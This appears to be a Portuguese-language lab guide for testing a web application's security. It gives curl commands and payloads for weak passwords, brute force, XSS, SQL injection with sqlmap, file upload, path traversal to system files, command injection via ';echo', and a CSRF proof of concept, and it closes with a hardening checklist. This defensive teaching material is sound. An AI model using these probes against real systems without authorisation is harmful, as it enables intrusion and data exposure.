# **Visão geral de uso**

* Substitua BASE\_URL, ENDPOINT, COOKIE\_SESSAO, etc.
* Rode em rede isolada (ex.: Docker compose com banco “descartável”).
* Registre tudo em arquivos para gerar relatório depois.

## **1) Falta de política de senhas (cadastro/reset)**

### **Objetivo**

Ver se o backend aceita senhas fracas e não aplica requisitos mínimos.

### **Teste rápido (cadastro):**

# senha fraca "123456"  
curl -i -X POST "<https://BASE_URL/api/register>" \  
 -H "Content-Type: application/json" \  
 -d '{"email":"user1@test.local","password":"123456"}'

### **Lote de senhas fracas (sem brute force, só 1 tentativa por senha):**

**OBS: Coloque o que quiser de senha no lote**

cat > weak\_pw.txt <<'EOF'

Admin

admin

123  
123456  
password  
qwerty  
111111  
abc12345  
admin123  
EOF  
  
while read pw; do  
 echo "Testando senha: $pw"  
 curl -s -X POST "<https://BASE_URL/api/register>" \  
 -H "Content-Type: application/json" \  
 -d "{\"email\":\"pw-$pw@test.local\",\"password\":\"$pw\"}" | tee -a senha\_politica.log  
 sleep 0.5  
done < weak\_pw.txt

**Esperado seguro:** Rejeitar fracas e retornar mensagens genéricas (sem detalhar regra exata).

## **2) Tratamento de erro inapropriado (exposição de stack trace)**

# Envie payload inválido para provocar erro controlado  
curl -i -X POST "<https://BASE_URL/api/items>" \  
 -H "Content-Type: application/json" \  
 -d '{"price":"NAO\_NUMERO"}'

**Sinais de falha:** stack trace, nomes de classes, SQL bruto, caminhos do servidor.

## **3) Falta de proteção contra força bruta (login)**

**Importante:** teste em poucas tentativas, com espera entre elas, somente no seu lab.

cat > few\_attempts.txt <<'EOF'  
wrongpass1  
wrongpass2  
correcthorsebatterystaple  
EOF  
  
i=0  
while read pw; do  
 i=$((i+1))  
 echo "Tentativa $i"  
 curl -i -s -X POST "<https://BASE_URL/api/login>" \  
 -H "Content-Type: application/json" \  
 -d "{\"username\":\"victim\",\"password\":\"$pw\"}" | tee -a brute\_teste.log  
 sleep 1 # teste de rate limiting/lockout  
done < few\_attempts.txt

**Esperado seguro:** após N falhas, bloquear/retardar; respostas e tempos indistinguíveis.

## **4) Informações sensíveis salvas “em claro”**

### **Verificação no banco (MySQL de laboratório)**

-- olhe o padrão do hash (bcrypt costuma iniciar com $2y$ ou $2b$)  
SELECT id, email, password FROM users LIMIT 10;

### **Checagem rápida com Python (hash vs. plain)**

import re, csv  
# supondo que você exportou users.csv com colunas: id,email,password  
plain = []  
hashed = []  
for row in csv.DictReader(open('users.csv')):  
 pw = row['password']  
 if re.match(r'^\$2[aby]\$\d{2}\$[./A-Za-z0-9]{53}$', pw):  
 hashed.append(row)  
 else:  
 plain.append(row)  
  
print("Total hashed (bcrypt):", len(hashed))  
print("Possíveis plaintext/ruins:", len(plain))

**Esperado seguro:** senhas com hashing lento (bcrypt/argon2/scrypt) e sal.

## **5) XSS — Reflected**

# Busca com parâmetro refletido  
curl -s "<https://BASE_URL/search?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E>" \  
 -H "Cookie: SESSION=COOKIE\_SESSAO" | grep -n "<script>alert(1)</script>"

**Falha:** payload aparece executável no HTML sem encoding.

### **XSS — Stored (ex.: comentários)**

curl -i -X POST "<https://BASE_URL/api/comments>" \  
 -H "Content-Type: application/json" \  
 -d '{"postId":1,"text":"<script>alert(1)</script>"}'

Depois carregue a página do post e veja se dispara o alert(1).

**Esperado seguro:** saída com escape/encode, CSP ativa, filtros server-side.

## **6) SQL Injection (In-band e Inferential/Blind)**

### **Manual rápido (boolean-based) — somente no seu lab**

# In-band: tenta forçar condição verdadeira  
curl -i "<https://BASE_URL/items?id=1> OR 1=1"  
  
# Boolean (resposta muda entre true/false)  
curl -s "<https://BASE_URL/items?id=1> AND 1=1" -o true.html  
curl -s "<https://BASE_URL/items?id=1> AND 1=2" -o false.html  
diff true.html false.html

### **Usando sqlmap (com request capturado)**

1. Capture a requisição (ex.: Burp/ZAP) em request.txt.
2. Rode:

sqlmap -r request.txt --batch --risk=1 --level=1 --dbs  
# Para tentar enumerar tabelas de um banco conhecido:  
# sqlmap -r request.txt --batch -D NOME\_BANCO --tables  
# Para checar tipo de injeção sem exfiltrar dados:  
# sqlmap -r request.txt --batch --technique=BT

**Boas práticas no lab:** limite --risk/--level, evite --os-shell/--file-write.

## **7) Unrestricted File Upload**

### **Teste de extensão e MIME**

# Tenta subir arquivo de teste  
echo "apenas teste" > teste.txt  
curl -i -X POST "<https://BASE_URL/upload>" \  
 -H "Cookie: SESSION=COOKIE\_SESSAO" \  
 -F "[file=@teste.txt](mailto:file=@teste.txt)"

### **Tenta bloquear executáveis disfarçados (deve ser rejeitado)**

# arquivo .php \*somente\* para verificar bloqueio no lab — não execute  
echo "<?php echo 'x'; ?>" > probe.php  
curl -i -X POST "<https://BASE_URL/upload>" \  
 -F "file=@probe.php;type=application/octet-stream"

**Esperado seguro:** validação por whitelist de tipos, rechecagem de MIME no servidor, renomeação, armazenamento fora do webroot, varredura.

## **8) File Inclusion (LFI/RFI) — somente laboratório**

# LFI: tentativa com path traversal  
curl -i "<https://BASE_URL/view?template=../../../../etc/hostname>"  
  
# Em Windows (container):  
curl -i "<https://BASE_URL/view?template=..\..\..\Windows\win.ini>"

**Esperado seguro:** normalizar caminho, bloquear .., mapear a diretório fixo, desabilitar wrappers remotos.

**RFI:** Garanta que sua app de teste esteja em ambiente sem acesso externo; o seguro é **não** permitir incluir URLs.

## **9) Command Execution (RCE)**

**Somente no seu ambiente** e com comandos inofensivos.

**Sondagem segura (entrada que vira comando)**  
 Se houver endpoint tipo /ping?host=...:

# Testa separador; a resposta NÃO deve conter "RCE\_TEST"  
curl -s "<https://BASE_URL/ping?host=127.0.0.1;echo> RCE\_TEST" | grep RCE\_TEST || echo "Sem eco"

**Esperado seguro:** não interpretar metacaracteres (; & | \ $()`) e usar execução segura (listas/whitelists).

## **10) CSRF (Cross-Site Request Forgery)**

### **Prova de conceito (PoC) genérica**

Crie um arquivo csrf-poc.html e abra no navegador logado na sua app:

<!doctype html>  
<html>  
 <body onload="document.forms[0].submit()">  
 <form action="https://BASE\_URL/api/profile/email" method="POST">  
 <input type="hidden" name="email" [value="csrf@attacker.local](mailto:value="csrf@attacker.local)">  
 </form>  
 </body>  
</html>

**Esperado seguro:** tokens anti-CSRF por requisição, SameSite cookies, checagem de origem/referer.

# **Dicas de validação e hardening (checklist rápido)**

* **Mensagens de erro**: genéricas; logs detalhados só no servidor.
* **Login**: lockout temporário, captcha progressivo, resposta e timing constantes.
* **Senhas**: mínimo 12+ chars, blacklist de senhas comuns, zxcvbn (no frontend) + validação no backend.
* **Cripto**: use argon2id (ou bcrypt com custo alto), sal único por usuário; **nunca** plaintext.
* **XSS**: escape por contexto, CSP estrita, desabilitar inline, sanitização de HTML.
* **Upload**: validação *server-side*, renomear, varrer, armazenar fora do webroot.
* **LFI/RFI**: usar IDs ao invés de paths, permitir apenas templates pré-mapeados.
* **RCE**: jamais concatenar strings em comandos; preferir libs que não shellam; whitelists.
* **CSRF**: tokens + SameSite=Lax/Strict; para APIs, usar Authorization (bearer) e CORS correto.